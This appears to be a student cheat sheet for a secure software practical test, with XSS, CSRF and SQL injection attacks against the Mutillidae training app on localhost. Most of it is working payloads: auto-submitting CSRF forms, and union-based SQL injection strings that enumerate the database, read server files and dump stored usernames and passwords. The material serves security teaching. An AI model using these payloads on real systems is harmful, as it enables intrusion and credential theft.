SSD PRACTICAL TEST CHEATSHEET

Table of Contents

[Reflected Cross Site Scripting 2](#_Toc108549877)

[What is Reflected Cross Site Scripting ? 2](#_Toc108549878)

[Cross Site Request Forgery 3](#_Toc108549879)

[What is Cross Site Request Forgery 3](#_Toc108549880)

[Create New User 3](#_Toc108549881)

[Forcing Someone To Add A Blog 4](#_Toc108549882)

[Forcing Poll Entry 5](#_Toc108549883)

[SQL Injection 7](#_Toc108549884)

[What is SQL Injection 7](#_Toc108549885)

[Determine If SQL Injection Exist 7](#_Toc108549886)

[Determine number of columns in application query. 7](#_Toc108549887)

[Attempt to determine database server brand 7](#_Toc108549888)

[Attempt to determine database name 7](#_Toc108549889)

[Attempt to determine schema name 8](#_Toc108549890)

[Attempt to determine table(s) names 8](#_Toc108549891)

[Attempt to determine column(s) names 8](#_Toc108549892)

[Attempt to extract data 8](#_Toc108549893)

[Attempt to read files from server 8](#_Toc108549894)

[Attempt to determine database computer name, IP address, username, version, etc. 8](#_Toc108549895)

[Extract passwords from user table 8](#_Toc108549896)

[Dump user credentials 8](#_Toc108549897)

# **Reflected Cross Site Scripting**

## **What is Reflected Cross Site Scripting ?**

Reflected XSS attacks, also known as non-persistent attacks, occur when a malicious script is reflected off of a web application to the victim’s browser.

The script is activated through a link, which sends a request to a website with a vulnerability that enables execution of malicious scripts. The vulnerability is typically a result of incoming requests not being sufficiently sanitized, which allows for the manipulation of a web application’s functions and the activation of malicious scripts.

**Code**

<script>alert(“Hello World”)</script>

# **Cross Site Request Forgery**

## **What is Cross Site Request Forgery**

Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing.

## **Create New User**

**Script**

<form id="CSRF" method="POST" action="http://127.0.0.1/mutillidae/index.php?page=register.php">

<input name="username" value="sammy" type="hidden" />

<input name="password" value="samurai" type="hidden" />

<input name="confirm\_password" value="samurai" type="hidden" />

<input name="my\_signature" value="The password is samurai" type="hidden" />

<input name="register-php-submit-button" value="Create+Account" type="hidden" />

</form>

<span onmouseover="function sleep(milliseconds) {var start = new Date().getTime();for (var i = 0; i < 1e7; i++) {if ((new Date().getTime() - start) > milliseconds){break;}}}try{var lURL=document.location.href;sleep(2000);document.getElementById(\'CSRF\').submit();sleep(6000);document.location.href=lURL;}catch(e){alert(e.message);}">Hello World</span>

**Step**

Inject script into input field

## **Forcing Someone To Add A Blog**

**Script**

<form id="f" action="http://127.0.0.1/mutillidae/index.php?page=add-to-your-blog.php" method="post" enctype="application/x-www-form-urlencoded">

<input type="hidden" name="csrf-token" value="best-guess"/>

<input type="hidden" name="blog\_entry" value="Add this guy to the Wall of Sheep"/>

<input type="hidden" name="add-to-your-blog-php-submit-button" value="TESTING"/>

</form>

<i onmouseover="window.document.getElementById('f').submit()">Dancing with the stars results</i>

**STEP**

1. Post any word, example : CANARY
2. Right click and view source
3. Save as "ForceBlogEntry.php" into XAMPP/htdocs/CSRF
4. Verify you can access it on the browser by navigating to “127.0.0.1/CSRF/ForceBlogEntry.php”
5. Edit ForceBlogEntry.php using notepad
6. Replace the word with script
7. Login to any user, Example : Username = jeremy, Password = password
8. On ForceBlogEntry.php, mouse over "Dancing with the stars results"

## **Forcing Poll Entry**

**Script**

<script>

function sendcsrf(){

var lForm = document.createElement("FORM");

lForm.action="http://127.0.0.1/mutillidae/index.php";

lForm.method = "GET";

lForm.enctype="application/x-www-form-urlencoded";

document.body.appendChild(lForm);

var lPage = document.createElement("INPUT");

lPage.setAttribute("name", "page");

lPage.setAttribute("type", "hidden");

lPage.setAttribute("value", "user-poll.php");

lForm.appendChild(lPage);

var lCSRFToken = document.createElement("INPUT");

lCSRFToken.setAttribute("name", "csrf-token");

lCSRFToken.setAttribute("type", "hidden");

lCSRFToken.setAttribute("value", "");

lForm.appendChild(lCSRFToken);

var lChoice = document.createElement("INPUT");

lChoice.setAttribute("name", "choice");

lChoice.setAttribute("type", "hidden");

lChoice.setAttribute("value", "nmap");

lForm.appendChild(lChoice);

var lInitials = document.createElement("INPUT");

lInitials.setAttribute("name", "initials");

lInitials.setAttribute("type", "hidden");

lInitials.setAttribute("value", "JD");

lForm.appendChild(lInitials);

var lButton = document.createElement("INPUT");

lButton.setAttribute("name", "user-poll-php-submit-button");

lButton.setAttribute("type", "hidden");

lButton.setAttribute("value", "Submit Vote");

lForm.appendChild(lButton);

lForm.submit();

}

</script>

<span onmouseover="sendcsrf();">Vote for nmap. I know you will.</span></td>

**STEP**

1. Post any word, example : CANARY
2. Right click and view source
3. Save as "ForcePollEntry.php" into XAMPP/htdocs/CSRF
4. Verify you can access it on the browser by navigating to “127.0.0.1/CSRF/ForcePollEntry.php”
5. Edit ForcePollEntry.php using notepad
6. Replace the word with script
7. Login to any user, Example : Username = jeremy, Password = password
8. On ForcePollEntry.php, mouse over "Vote for nmap. I know you will"

# **SQL Injection**

## **What is SQL Injection**

SQL injection (SQLi) is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It generally allows an attacker to view data that they are not normally able to retrieve.

## **Determine If SQL Injection Exist**

Try injecting characters reserved in databases to produce error messages

single-quote [ ‘ ]

back-slash [ / ]

double-hyphen [ -- ]

forward-slash [ \ ]

period [ . ]

If error message is produces, examine message for helpful errors, queries, database brand, columns, tables or other information.

If no error message present, send valid data, "true" injections ("or 1=1") and "false" injections ("and 1=0"). Look for difference in the three responses

Technique: Blind SQL Injection - True and False Values

Field: username

True Value (Using Proxy): ' or 1=1 –

False Value (Using Proxy): ' and 1=0 --

If no errors nor differences are produced, try timing attacks ("mysql sleep(), sql server waitfor(), oracle sleep()")

' union Select null, null, null, sleep(5) –

## **Determine number of columns in application query.**

' union Select null, null, null, null, null, null, null -- -

## **Attempt to determine database server brand**

' union Select null , VERSION() AS username, null, null, null, null, null-- -

## **Attempt to determine database name**

' union Select null , DATABASE() AS username, null, null, null, null, null-- -

## **Attempt to determine schema name**

' union select null,table\_schema AS username, null, null, null, null, null from INFORMATION\_SCHEMA.TABLES -- -

## **Attempt to determine table(s) names**

' union select null,table\_schema AS username,table\_name AS password, null, null, null, null from INFORMATION\_SCHEMA.TABLES -- -

## **Attempt to determine column(s) names**

' union select null, concat\_ws('.', table\_schema, table\_name, column\_name) AS username, null, null, null, null, null from INFORMATION\_SCHEMA. COLUMNS-- -

## **Attempt to extract data**

' union Select null, owasp10.accounts.username AS username, owasp10.accounts.password AS password, null from owasp10.accounts -- -

## **Attempt to read files from server**

' union select null, LOAD\_FILE('../README') AS username, null, null, null, null, null -- -

## **Attempt to determine database computer name, IP address, username, version, etc.**

' union Select null , VERSION() AS username, null, null, null, null, null -- -

' union Select null , USER() AS username, null, null, null, null, null -- -

' union Select null , DATABASE() AS username, null, null, null, null, null -- -

## **Extract passwords from user table**

' union Select null, owasp10.accounts.username AS username, owasp10.accounts.password AS password, null from owasp10.accounts -- -

' or 1=1 -- -

## **Dump user credentials**

' or 1=1 -- -